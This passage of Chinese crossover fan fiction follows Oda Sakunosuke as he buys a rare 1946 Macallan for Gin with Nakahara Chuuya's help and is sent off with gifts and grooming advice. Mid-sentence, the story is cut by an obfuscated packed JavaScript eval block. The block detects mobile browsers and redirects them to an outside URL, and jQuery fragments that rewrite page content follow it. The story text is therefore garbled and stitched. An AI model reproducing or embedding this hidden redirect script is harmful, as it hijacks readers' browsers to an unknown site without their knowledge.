在他眼里,琴酒一直是那个冷酷但可靠的前辈,是那种不会被任何事情真正影响的存在。
而织田作之助,在太宰治的描述里,是个“有趣但有点呆”的朋友,是港口□□底层那个“不杀人的怪人”。
但现在他看到的是
在乎。这两个人,都在乎得要死。
“我知道了。”中原中也深吸一口气,表情变得认真起来,“这瓶麦卡伦18年你先拿去吧,当作,参考样品。我帮你联系渠道找珍稀系列。价格我会尽量帮你谈,但可能要一两天。”
他顿了顿,补充道:“钱的事情不急,等你确定要买再付。”
织田作之助点点头,小心地抱着那瓶麦卡伦18年:“谢谢。”
“不用谢我。”中原中也摆摆手,难得露出一个真诚的笑,“毕竟我和琴酒也算是朋友。”
太宰治从沙发上坐起来,眼睛亮晶晶的:“哇哦~小矮子居然这么好心~”
“你给我闭嘴!”中原中也额角又冒青筋。
织田作之助抱着酒瓶,看着两人斗嘴,头顶的呆毛轻轻晃了晃。
他想,琴酒收到这瓶酒的时候,会是什么表情呢?
会……高兴吗?他不知道。
但是他很期待会面。
交易是在横滨一家会员制艺术品沙龙完成的。
中原中也动用了自己的人脉,联系上一位关西地区的私人收藏家。对方原本不愿出售那瓶麦卡伦珍稀系列1946年份,毕竟是珍藏品。
但中也很有谈判技巧。他没谈钱,而是谈“这瓶酒将要见证什么”。
“它会在一个特别的时刻被打开,”中也在电话里说,语气少有的郑重,“被两个……很特别的人。它会完成一瓶酒最好的使命,被懂它的人在重要的时刻享用,而不是永远锁在玻璃柜里。”
最终成交价:三千四百万日元。
织田作之助没有犹豫,从两个黑色皮箱里点出对应的现金——厚厚几沓万元钞票,用牛皮纸带捆扎整齐。中原中也看着他平静地数钱、装箱、交付,整个过程流畅得不像在交易几千万的奢侈品。
“你……”中也欲言又止,“真的不心疼?”
织田作之助抱着那瓶被仔细包装好的酒,深色木盒,丝绸衬里,酒瓶安静地躺在里面,像沉睡的琥珀色宝藏。他摇摇头:“钱可以再赚。”
剩下的六百万日元,织田作之助做了安排。
他给五个孩子每人买了礼物,孩子们都很高兴。
然后他给了太宰治和安吾每人买了礼物,太宰治又额外吃了一顿螃蟹大餐,安吾倒是直接请求要了一年的咖啡,虽然织田作之助认为他更应该放个假。
太宰治一只眼睛亮亮:“哇哦~织田作好大方!我可以去买那套最新款的——”
“不可以买炸弹。”织田作之助平静地打断。
“诶——怎么这样!”
最后,他从中抽出把剩下的钱包了一个厚厚的信封,递给中原中也。
中也愣住了:“……给我?”
“谢谢中原君帮忙。”织田作之助认真地说,“没有你的渠道和人脉,买不到这瓶酒。”
中也看着那个信封,表情复杂。他帮这个忙,一半是出于对琴酒那点朋友情谊,一半是好吧,他承认,他也想看看这场“顶级魅魔vs新手勇者”的戏码到底怎么演。
但织田作之助的认真让他有点……不好意思。
“不用了。”中也把信封推回去,“我就是牵个线而已。”
织田作之助想了想,收回信封,然后说:“我其实还买了礼物。”
太宰说的对,中原干部真的没收,幸好提前准备礼物了。他抱着酒离开,两小时后回来时,手里多了一个精致的黑色皮革礼盒。
中也打开盒子,眼睛瞬间睁大了。
里面是一套手工吹制的水晶酒具,两只威士忌闻香杯,两只郁金香杯,一只醒酒器。
身线条流畅优雅,杯脚处有精致的蚀刻花纹。
“这是……”中也拿起一只闻香杯,手指摩挲着杯壁。触感冰凉光滑,重量恰到好处。
“安吾说,”织田作之助解释,“在预算不足的情况下,可以选一些对方喜欢但舍不得买的东西。他说中原君有很多好酒,但可能不会特意买这么贵的酒杯。”
中也沉默了。
安吾说得对。他确实有很多好酒,整面墙的酒柜就是证明。但他喝酒用的杯子,大多是酒商赠送的促销品,或者普通百货店买的实用款。
不是买不起,只是觉得“杯子而已,能装酒就行”。
但手里这套……不一样。
这三百万日元的水晶酒具,和那些几十万的酒杯,完全是两个世界的东西。光线在杯壁上流动的方式、杯口触碰嘴唇的弧度、酒液在其中旋转时呈现的光泽——
中也忽然理解了织田作之助买那瓶三千四百万日元酒的心情。
有些东西,贵不是没有道理的。
“你这家伙……”中也抬头看向织田作之助,嘴角忍不住上扬,“还挺会送礼物。”
织田作之助头顶的呆毛晃了晃,似乎在表达“谢谢夸奖”。
中原中也抱着那套酒具看了很久,然后像是下定了什么决心。他走到酒柜前,打开最下层一个带锁的格子,取出一瓶酒。
深色瓶身,简洁的标签,瓶口封着完好的蜡封。
帕图斯(Petrus)——波尔多右岸的传奇,红酒中的帝王,年产不过几千瓶,每一瓶都有自己的编号。
中也把这瓶酒递给织田作之助。
织田作之助接过,有些困惑:“这是……”
“你把这个给琴酒带过去。”中也说,语气变得正式,“就说是我送的。他会明白什么意思。”
“什么意思?”织田作之助问得很直接。
中也笑了,那是种“只有男人懂”的笑容:“意思是——我认可你了。作为琴酒的朋友,我认可你这个人。”
他顿了顿,补充道:“这瓶帕图斯是我去年在拍卖会上抢到的,本来想等某个重要场合开。那时候是我第一次去欧洲,连英文都杂七杂八的,只能让琴酒来直接和我对接。
那件事情之后,我们去逛了逛附近的拍卖会,然后我就是买了这瓶酒。
织田作之助抱着两瓶酒左手的麦卡伦珍稀系列,右手的帕图斯,像抱着两个沉睡的婴儿。他消化着中也的话,然后郑重地点头:“谢谢。”
“不客气。”中也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250939|197934||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摆摆手,然后上上下下打量织田作之助。
红发男人已经刮干净了胡子,露出清晰的下颌线。他穿着那件新买的驼色风衣,里面是简单的黑色衬衫和深色长裤。
都是之前和太宰治逛街时买的。没有多余的装饰,但剪裁合身,质地良好,衬得他身形挺拔。
客观来说,织田作之助其实长得不差。五官端正,鼻梁挺直,蓝色眼睛虽然总是带着点茫然,但很清澈。现在这么一收拾,竟然有种温和而可靠的气质。
别样的帅气
但中也还是皱起了眉。
“你今天下午……就这样去?”
织田作之助低头看了看自己:“不行吗?”
“不是不行……”中也摸着下巴思考,“但总感觉少了点什么。”
太宰治这时候从沙发上探出头来,嘴里叼着新的Pocky:“小矮子是在嫌弃织田作的造型不够‘隆重’吗?
可是织田作就是这样啊,就算穿西装也是这副呆呆的样子~”
“你闭嘴。”中也瞪他一眼,然后转向织田作之助,认真地说,“不是要你改变风格。只是……”
他斟酌着用词,“第一次正式见面,又是带着这么贵重的礼物至少应该让外表配得上你的心意。”
织田作之助眨了眨眼:“所以?”
“去做个头发。”中也果断地说,“你的头发太乱了,像刚睡醒。找个好点的理发师,修一下型,不用太复杂,就干净利落点。”
太宰治又插嘴:“我知道一家!不过要预约——”
“我有卡。”中也从钱包里抽出一张黑色会员卡,扔给织田作之助,“报我名字,不用预约。现在去,时间刚好。”
太宰治露出了好耶的表情,让中原中也忍不住怀疑他在故意给自己设套。
织田作之助接过卡,有些犹豫:“可是……”
“没有可是。”中也推着他往门口走,“然后……买束花。”
“花?”织田作之助更困惑了,“为什么要买花?”
中也停下动作,看着他,表情变得有点复杂:“因为有些人虽然不会说,但收到花会高兴。”
“买白色的花。”中也说,“不要那种俗气的。雏菊或者紫罗兰,我记得他好像挺喜欢,或者最简单的红玫瑰也好,你自己看。”
织田作之助抱着两瓶酒,手里拿着会员卡,站在中原中也家的玄关,头顶的呆毛在空调暖风里轻轻晃动。
“我知道了。”他终于说。
“去吧。”中也拍拍他的肩,难得露出温和的笑容,“祝你好运。”
织田作之助点点头,转身离开。
门关上后,太宰治从沙发上坐起来,歪头看着中也:“哇哦~小矮子今天好热心~简直像嫁女儿的老父亲~”
“你给我滚!”中也抓起一个抱枕砸过去。
太宰治轻松躲过,笑嘻嘻地说:“不过说真的,你也觉得织田作和琴酒先生很配,对吧?”
中也沉默了几秒,然后哼了一声。
他走到窗边,看着楼下织田作之助抱着两瓶酒走向出租车的背影。
红发男人走得很稳,像捧着什么珍贵易碎的东西。
“但傻子有傻子的好。”